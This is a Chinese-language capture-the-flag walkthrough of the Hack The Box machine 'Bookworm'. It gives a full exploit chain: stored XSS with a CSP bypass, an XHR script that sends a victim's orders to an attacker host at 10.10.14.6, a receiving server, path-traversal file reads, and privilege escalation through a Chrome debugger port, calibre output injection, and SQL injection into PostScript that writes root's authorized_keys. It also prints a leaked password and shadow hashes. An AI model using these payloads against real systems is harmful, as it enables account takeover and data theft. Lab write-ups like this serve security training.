基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV -Pn 10.10.11.215
Starting Nmap 7.94 ( https://nmap.org ) at 2023-05-29 11:27 CST
Nmap scan report for 10.10.11.215
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 81:1d:22:35:dd:21:15:64:4a:1f:dc:5c:9c:66:e5:e2 (RSA)
| 256 01:f9:0d:3c:22:1d:94:83:06:a4:96:7a:01:1c:9e:a1 (ECDSA)
|_ 256 64:7d:17:17:91:79:f6:d7:c4:87:74:f8:a2:16:f7:cf (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://bookworm.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.82 seconds

80

需要加hosts:

1
10.10.11.215 bookworm.htb

一个在线书店:

Bookworm

随意注册登录,发现可以看到其他人最近活动,这应该是一个bot:

XSS

简单测试功能,添加书籍到购物车,查看购物车发现edit note功能:

编辑后的内容会在下一步checkout中显示:

验证是无过滤,但有CSP

另外这一步也可以确认可以随意修改任意购物车id的note,所以应该就是去修改那些bot的购物车备注打XSS

CSP Bypass

CSP很简单的设置的self,self中我们可控的那就是头像了,简单的%00来上传(其实不需要,修改文件名只是过前端校验,传上去是直接用户id的,不需要用文件名trick),然后去验证成功绕过CSP:

XSS

所以整个步骤应该就是头像上传js绕过CSP,越权修改购物车备注去XSS打bot,但cookie是httponly,并不能直接简单的获取cookie,需要通过XHR一步步来,discord里提供了完整的xss代码和接收数据的server代码,放在后面了

先从基础的profile测试开始,首页源码里可以得到bot的购物车id,测试越权修改打XSS:

得到bot的订单信息,同样自动去查看他们的订单内容,发现下载选项:

LFI

下载是通过id来的,修改id可以进行LFI,同样还是要通过XSS XHR:

1
bookIds=../../../../../../../../etc/passwd

下载下来的文件是一个压缩包,直接解压会变成一个目录,rename就能正常查看:

index.js

nodejs应用,一步步读代码:

1
bookIds=../../../../../../../../proc/self/cwd/index.js

index.js中发现引入了database:

database.js

继续读database.js,得到账号密码:

1
2
3
4
5
6
7
8
bookIds=../../../../../../../../proc/self/cwd/database.js

dialectOptions: {
host: "127.0.0.1",
user: "bookworm",
database: "bookworm",
password: "FrankTh3JobGiver",
},

xss.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function get_orders(html_page) {
const parser = new DOMParser();
const htmlString = html_page;
const doc = parser.parseFromString(htmlString, 'text/html');
const orderLinks = doc.querySelectorAll('tbody a');
const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
return orderUrls;
}
function getDownloadURL(html) {
const container = document.createElement('div');
container.innerHTML = html;
const downloadLink = container.querySelector('a[href^="/download"]');
const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../../../etc/passwd" : null;
return downloadURL;
}
function fetch_url_to_attacker(url) {
var attacker = "http://10.10.14.6/?url=" + encodeURIComponent(url);
fetch(url).then(async (response) => {
fetch(attacker, { method: 'POST', body: await response.arrayBuffer() });
});
}
async function get_pdf(url) {
const response = await fetch(url);
const html = await response.text();
const downloadURL = getDownloadURL(html);
if (downloadURL) {
fetch_url_to_attacker(downloadURL);
}
}
fetch("http://10.10.14.6/?trying");
fetch("http://bookworm.htb/profile")
.then(async (response) => {
const html = await response.text();
const orders = get_orders(html);
for (const path of orders) {
const fullUrl = "http://bookworm.htb" + path;
fetch_url_to_attacker(fullUrl);
get_pdf(fullUrl);
}
});

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from http.server import SimpleHTTPRequestHandler, HTTPServer
import random
from urllib.parse import urlparse, parse_qs

class RequestHandler(SimpleHTTPRequestHandler):
def do_POST(self):
# print(self.headers)

parsed_url = urlparse(self.path)
query_params = parse_qs(parsed_url.query)
if 'url' in query_params:
print(query_params['url'][0])

# Handle POST request here
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)

# print(f'POST data: {post_data.decode()}')
# if post_data.decode().isprintable():
# print(f'POST data: {post_data.decode()}')
# else:
filename = 'temp' + str(random.randint(0, 9999))
with open(filename,'wb') as f:
f.write(post_data)
print("Non ascii characters detected!! Content written to ./{} file instead.".format(filename))

self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b'POST request received')

def do_GET(self):
# print(self.headers)
parsed_url = urlparse(self.path)
query_params = parse_qs(parsed_url.query)
if 'url' in query_params:
print(query_params['url'][0])

SimpleHTTPRequestHandler.do_GET(self)

def run_server():
server_address = ('', 80)
httpd = HTTPServer(server_address, RequestHandler)
print('Server running on http://localhost:80')

try:
httpd.serve_forever()
except KeyboardInterrupt:
pass

httpd.server_close()
print('Server stopped')

if __name__ == '__main__':
run_server()

user flag

前面读/etc/passwd知道有frank用户,得到的密码就是frank的:

1
2
frank
FrankTh3JobGiver

提权信息

查看本地端口发现3001和34805(这个端口不固定),34805是chrome debugger的端口

预期应该是3001端口那个,chrome debugger是非预期

提权 & root flag (非预期)

非预期做法,用Chrome Debugger读取任意文件,转发端口出来即可,msf有模块一键:

1
2
3
ssh frank@10.10.11.215 -L 43837:127.0.0.1:43837

msf6 exploit(multi/handler) > use auxiliary/gather/chrome_debugger

shadow

1
2
3
root:$6$X.PJezLobVQOLuGu$nDnaPx.G5/nXr9I7WI0h8Sw0vjeFcOChirHr1s0zNyaid7X5U26fB5MXOIQB/oR4fb7xiaN/.bXdfAkGwtXL6.:19387:0:99999:7:::
frank:$6$iQwYpaCFHgzFXVbi$gAKLi4oKtDPb4uaCGW3RkabZ8DyAnQfxbaqhoiAeAsGmP776eOyQt6bvYPPUJ4PAe2PJPanzm3sH5KSiqzrlF.:19387:0:99999:7:::
neil:$6$rN642RtN9dzlaylh$/7DIfm9515mWvCPWM/wL/ANkJJPtKkUNURqcmu/VseEhLch1pQgX7c3l3ij2vA3MmM3PZV5WOrLM7u3gy2V3W1:19387:0:99999:7:::

补充 预期root方法

frank用户有权在neil用户目录查看源码,确认是3001端口那边的:

转发端口出来查看:

1
ssh frank@10.10.11.215 -L 3001:127.0.0.1:3001

是一个在线的格式转换器,根据代码知道后端调用的calibre:

calibre converter

简单测试转换功能,发现输出在outputs目录,文件名被重命名:

查看calibre文档,发现可以使用其他输入输出格式例如html,txt:

根据代码,后段执行的命令大概这样,输出文件名拼接了我们可控的outputType:

1
2
3
4
const destinationName = `${fileId}.${outputType}`;
const destinationPath = path.resolve(path.join(__dirname, "output", destinationName));

ebook-convert filePath destinationPath

那如果我们用html作为输入,控制outputType,就写入到任意位置:

write ssh key

那就可以直接写ssh公钥进去,通过创建一个软链接,得到neil用户

1
ln -s /home/neil/.ssh/authorized_keys /tmp/miao/miao.txt

genlabel

neil 可以sudo执行genlabel,这是一个自定义程序,内部调用了ps2pdf执行postscript:

并且可以看到一个很明显的sql注入,直接把接收到的orderId带入到sql中:

通过sql注入,我们就可以控制最终带入到postscript模板中的各种数据,从而控制最终执行的postscript脚本

查看/usr/local/labelgeneration/template.ps模板文件,构造闭合,通过使用类似这样的postscript,就可以写入任意文件例如ssh公钥:

1
2
3
4
5
) show
/outfile1 (/root/.ssh/authorized_keys) (w) file def
outfile1 (<your SSH public key>) writestring
outfile1 closefile
(a

提权 & root

所以构造的语句是这样:

1
sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1(/root/.ssh/authorized_keys) (w) file def\noutfile1 (<your SSH public key>) writestring\noutfile1 closefile\n\n(a' as name, 'aa' as addressLine1, 'bb' as addressLine2, 'tt' as town, 'pp' as postcode, 0 as orderId, 1 as userId;"

参考资料